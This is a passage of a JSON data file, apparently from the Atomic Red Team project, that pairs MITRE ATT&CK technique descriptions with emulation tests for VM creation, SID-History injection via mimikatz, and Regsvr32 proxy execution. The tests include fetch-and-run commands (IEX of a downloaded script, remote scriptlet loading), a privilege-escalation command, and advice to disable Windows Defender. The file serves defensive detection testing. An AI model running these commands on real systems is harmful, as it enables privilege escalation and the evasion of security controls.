- { - "description": "VBoxManage must exist on disk at specified locations (#{vboxmanage_exe})\n", - "prereq_command": "if (Test-Path \"#{vboxmanage_exe}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "$wc = New-Object System.Net.WebClient\n$wc.DownloadFile(\"#{virtualbox_download}\",\"$env:TEMP\\#{virtualbox_installer}\")\nstart-process -FilePath \"$env:TEMP\\#{virtualbox_installer}\" -ArgumentList \"--silent\" -Wait\n" - } - ], - "executor": { - "name": "command_prompt", - "elevation_required": false, - "command": "\"#{vboxmanage_exe}\" createvm --name \"#{vm_name}\" --register\n\"#{vboxmanage_exe}\" modifyvm \"#{vm_name}\" --firmware efi\n\"#{vboxmanage_exe}\" startvm \"#{vm_name}\"\n", - "cleanup_command": "\"#{vboxmanage_exe}\" controlvm \"#{vm_name}\" poweroff\n\"#{vboxmanage_exe}\" unregistervm \"#{vm_name}\" --delete" - } - }, - { - "name": "Create and start Hyper-V virtual machine", - "auto_generated_guid": "fb8d4d7e-f5a4-481c-8867-febf13f8b6d3", - "description": "Create a simple Hyper-V VM (Windows native hypervisor) and start up the machine\nCleanup command stops and deletes the newly created VM\nhttps://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v\nhttps://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/\nhttps://attack.mitre.org/techniques/T1564/006/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "vm_name": { - "description": "Name of the new virtual machine", - "type": "string", - "default": "Atomic VM" - } - }, - "dependencies": [ - { - "description": "Hyper-V must be enabled on the system\nChecks whether Hyper-V is enabled. If not, enables Hyper-V and forces a required restart\n", - "prereq_command": "if ((Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V).State = \"Enabled\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All -Force\n" - } - ], - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "$VM = \"#{vm_name}\"\nNew-VM -Name $VM -Generation 2\nSet-VMFirmware $VM -EnableSecureBoot Off\nStart-VM $VM", - "cleanup_command": "Stop-VM $VM -Force\nRemove-VM $VM -Force" - } - } - ] - }, - "T1134.005": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Alain Homewood, Insomnia Security", - "Vincent Le Toux" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", - "type": "attack-pattern", - "created": "2020-02-18T18:34:49.414Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1134.005", - "url": "https://attack.mitre.org/techniques/T1134/005" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx", - "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.", - "source_name": "Microsoft SID" - }, - { - "url": "https://msdn.microsoft.com/library/ms679833.aspx", - "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.", - "source_name": "Microsoft SID-History Attribute" - }, - { - "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems", - "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.", - "source_name": "Microsoft Well Known SIDs Jun 2017" - }, - { - "url": "https://technet.microsoft.com/library/ee617241.aspx", - "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.", - "source_name": "Microsoft Get-ADUser" - }, - { - "url": "https://adsecurity.org/?p=1772", - "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.", - "source_name": "AdSecurity SID History Sept 2015" - }, - { - "url": "https://msdn.microsoft.com/library/ms677982.aspx", - "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.", - "source_name": "Microsoft DsAddSidHistory" - } - ], - "modified": "2021-02-09T15:49:58.414Z", - "name": "Access Token Manipulation: SID-History Injection", - "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Active Directory: Active Directory Object Modification", - "User Account: User Account Metadata", - "Process: OS API Execution" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "identifier": "T1134.005" - }, - "atomic_tests": [ - { - "name": "Injection SID-History with mimikatz", - "auto_generated_guid": "6bef32e5-9456-4072-8f14-35566fb85401", - "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "sid_to_inject": { - "description": "SID to inject into sidhistory", - "type": "string", - "default": "S-1-5-21-1004336348-1177238915-682003330-1134" - }, - "sam_account_name": { - "description": "Target account to modify", - "type": "string", - "default": "$env:username" - }, - "mimikatz_path": { - "description": "Mimikatz windows executable", - "type": "path", - "default": "$env:TEMP\\mimikatz\\x64\\mimikatz.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n", - "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" - } - ], - "executor": { - "name": "command_prompt", - "elevation_required": true, - "command": "#{mimikatz_path} \"privilege::debug\" \"sid::patch\" \"sid::add /sid:#{sid_to_inject} /sam:#{sam_account_name}\" \"exit\"\n", - "cleanup_command": "#{mimikatz_path} \"sid::clear /sam:#{sam_account_name}\" \"exit\"\n" - } - } - ] - }, - "T1599": { - "technique": { - "x_mitre_platforms": [ - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", - "created": "2020-10-19T16:08:29.817Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1599", - "url": "https://attack.mitre.org/techniques/T1599" - }, - { - "source_name": "Kaspersky ThreatNeedle Feb 2021", - "url": "https://securelist.com/lazarus-threatneedle/100803/", - "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", - "modified": "2022-05-05T05:05:44.200Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Network Boundary Bridging", - "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\n\nMonitor the border network device\u2019s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Network Traffic: Network Traffic Flow", - "Network Traffic: Network Traffic Content" - ], - "x_mitre_defense_bypassed": [ - "Firewall", - "System Access Controls" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1553": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", - "created": "2020-02-05T14:54:07.588Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1553", - "url": "https://attack.mitre.org/techniques/T1553" - }, - { - "source_name": "SpectorOps Code Signing Dec 2017", - "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", - "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018." - }, - { - "source_name": "SpectorOps Subverting Trust Sept 2017", - "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", - "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018." - }, - { - "source_name": "Securelist Digital Certificates", - "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", - "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016." - }, - { - "source_name": "Symantec Digital Certificates", - "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", - "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ", - "modified": "2022-05-05T05:04:52.387Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Subvert Trust Controls", - "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "File: File Metadata", - "File: File Modification", - "Windows Registry: Windows Registry Key Modification", - "Module: Module Load", - "Windows Registry: Windows Registry Key Creation", - "Command: Command Execution", - "Process: Process Creation" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Autoruns Analysis", - "Digital Certificate Validation", - "User Mode Signature Validation", - "Windows User Account Control", - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1548.004": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jimmy Astle, @AstleJimmy, Carbon Black", - "Erika Noerenberg, @gutterchurl, Carbon Black" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0", - "type": "attack-pattern", - "created": "2020-01-30T14:40:20.187Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1548.004", - "url": "https://attack.mitre.org/techniques/T1548/004" - }, - { - "source_name": "AppleDocs AuthorizationExecuteWithPrivileges", - "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg", - "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019." - }, - { - "source_name": "Death by 1000 installers; it's all broken!", - "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8", - "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019." - }, - { - "source_name": "Carbon Black Shlayer Feb 2019", - "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", - "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019." - }, - { - "source_name": "OSX Coldroot RAT", - "url": "https://objective-see.com/blog/blog_0x2A.html", - "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019." - } - ], - "modified": "2020-03-27T12:04:37.823Z", - "name": "Elevated Execution with Prompt", - "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Process: OS API Execution" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "root" - ] - }, - "atomic_tests": [] - }, - "T1218.010": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Casey Smith" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", - "type": "attack-pattern", - "created": "2020-01-23T19:52:17.414Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1218.010", - "url": "https://attack.mitre.org/techniques/T1218/010" - }, - { - "source_name": "Microsoft Regsvr32", - "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.", - "url": "https://support.microsoft.com/en-us/kb/249873" - }, - { - "source_name": "LOLBAS Regsvr32", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", - "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019." - }, - { - "source_name": "Carbon Black Squiblydoo Apr 2016", - "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.", - "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/" - }, - { - "source_name": "FireEye Regsvr32 Targeting Mongolian Gov", - "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.", - "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html" - } - ], - "modified": "2022-03-11T20:41:41.503Z", - "name": "Signed Binary Proxy Execution: Regsvr32", - "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Network Traffic: Network Connection Creation", - "Process: Process Creation", - "Module: Module Load" - ], - "x_mitre_defense_bypassed": [ - "Digital Certificate Validation", - "Anti-virus", - "Application control" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "identifier": "T1218.010" - }, - "atomic_tests": [ - { - "name": "Regsvr32 local COM scriptlet execution", - "auto_generated_guid": "449aa403-6aba-47ce-8a37-247d21ef0306", - "description": "Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "filename": { - "description": "Name of the local file, include path.", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.010\\src\\RegSvr32.sct" - }, - "regsvr32path": { - "description": "Default location of Regsvr32.exe", - "type": "path", - "default": "C:\\Windows\\system32" - }, - "regsvr32name": { - "description": "Default name of Regsvr32.exe", - "type": "string", - "default": "regsvr32.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Regsvr32.sct must exist on disk at specified location (#{filename})\n", - "prereq_command": "if (Test-Path #{filename}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct\" -OutFile \"#{filename}\"\n" - } - ], - "executor": { - "command": "#{regsvr32path}\\#{regsvr32name} /s /u /i:#{filename} scrobj.dll\n", - "name": "command_prompt" - } - }, - { - "name": "Regsvr32 remote COM scriptlet execution", - "auto_generated_guid": "c9d0c4ef-8a96-4794-a75b-3d3a5e6f2a36", - "description": "Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable\nwindows defender real-time protection to fix it. Upon execution, calc.exe will be launched.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "url": { - "description": "URL to hosted sct file", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct" - }, - "regsvr32path": { - "description": "Default location of Regsvr32.exe", - "type": "path", - "default": "C:\\Windows\\system32" - }, - "regsvr32name": { - "description": "Default name of Regsvr32.exe", - "type": "string", - "default": "regsvr32.exe" - } - }, - "executor": { - "command": "#{regsvr32path}\\#{regsvr32name} /s /u /i:#{url} scrobj.dll\n", - "name": "command_prompt" - } - }, - { - "name": "Regsvr32 local DLL execution", - "auto_generated_guid": "08ffca73-9a3d-471a-aeb0-68b4aa3ab37b", - "description": "Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "dll_name": { - "description": "Name of DLL to Execute, DLL Should export DllRegisterServer", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll" - }, - "regsvr32path": { - "description": "Default location of Regsvr32.exe", - "type": "path", - "default": "C:\\Windows\\system32" - }, - "regsvr32name": { - "description": "Default name of Regsvr32.exe", - "type": "string", - "default": "regsvr32.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})\n", - "prereq_command": "if (Test-Path #{dll_name}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{dll_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll\" -OutFile \"#{dll_name}\"\n" - } - ], - "executor": { - "command": "IF \"%PROCESSOR_ARCHITECTURE%\"==\"AMD64\" (C:\\Windows\\syswow64\\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\\#{regsvr32name} /s #{dll_name} )\n", - "name": "command_prompt" - } - }, - { - "name": "Regsvr32 Registering Non DLL", - "auto_generated_guid": "1ae5ea1f-0a4e-4e54-b2f5-4ac328a7f421", - "description": "Replicating observed Gozi maldoc behavior registering a dll with an altered extension\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "dll_file": { - "description": "Path to renamed dll file to be registered", - "type": "path", - "default": "%temp%\\shell32.jpg" - }, - "regsvr32path": { - "description": "Default location of Regsvr32.exe", - "type": "path", - "default": "C:\\Windows\\system32" - }, - "regsvr32name": { - "description": "Default name of Regsvr32.exe", - "type": "string", - "default": "regsvr32.exe" - } - }, - "dependency_executor_name": "command_prompt", - "dependencies": [ - { - "description": "Test requires a renamed dll file\n", - "prereq_command": "if exist #{dll_file} ( exit 0 ) else ( exit 1 )\n", - "get_prereq_command": "copy \"C:\\Windows\\System32\\shell32.dll\" \"#{dll_file}\"\n" - } - ], - "executor": { - "name": "command_prompt", - "elevation_required": false, - "command": "#{regsvr32path}\\#{regsvr32name} /s #{dll_file}\n", - "cleanup_command": "#{regsvr32path}\\#{regsvr32name} /U /s #{dll_file}\n" - } - }, - { - "name": "Regsvr32 Silent DLL Install Call DllRegisterServer", - "auto_generated_guid": "9d71c492-ea2e-4c08-af16-c6994cdf029f", - "description": "Regsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "dll_name": { - "description": "Name of DLL to Install", - "type": "string", - "default": "PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx86.dll" - }, - "regsvr32path": { - "description": "Default location of Regsvr32.exe", - "type": "string", - "default": "C:\\Windows\\system32" - }, - "regsvr32name": { - "description": "Default name of Regsvr32.exe", - "type": "string", - "default": "regsvr32.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})", - "prereq_command": "if (Test-Path #{dll_name}) {exit 0} else {exit 1}", - "get_prereq_command": "New-Item -Type Directory (split-path #{dll_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll\" -OutFile \"#{dll_name}\"" - } - ], - "executor": { - "command": "#{regsvr32path}\\#{regsvr32name} /s /i #{dll_name}", - "name": "command_prompt" - } - } - ] - }, - "T1036.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", - "type": "attack-pattern", - "created": "2020-02-10T20:03:11.691Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1036.003", - "url": "https://attack.mitre.org/techniques/T1036/003" - }, - { - "source_name": "LOLBAS Main Site", - "url": "https://lolbas-project.github.io/", - "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020." - }, - { - "source_name": "Elastic Masquerade Ball", - "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", - "url": 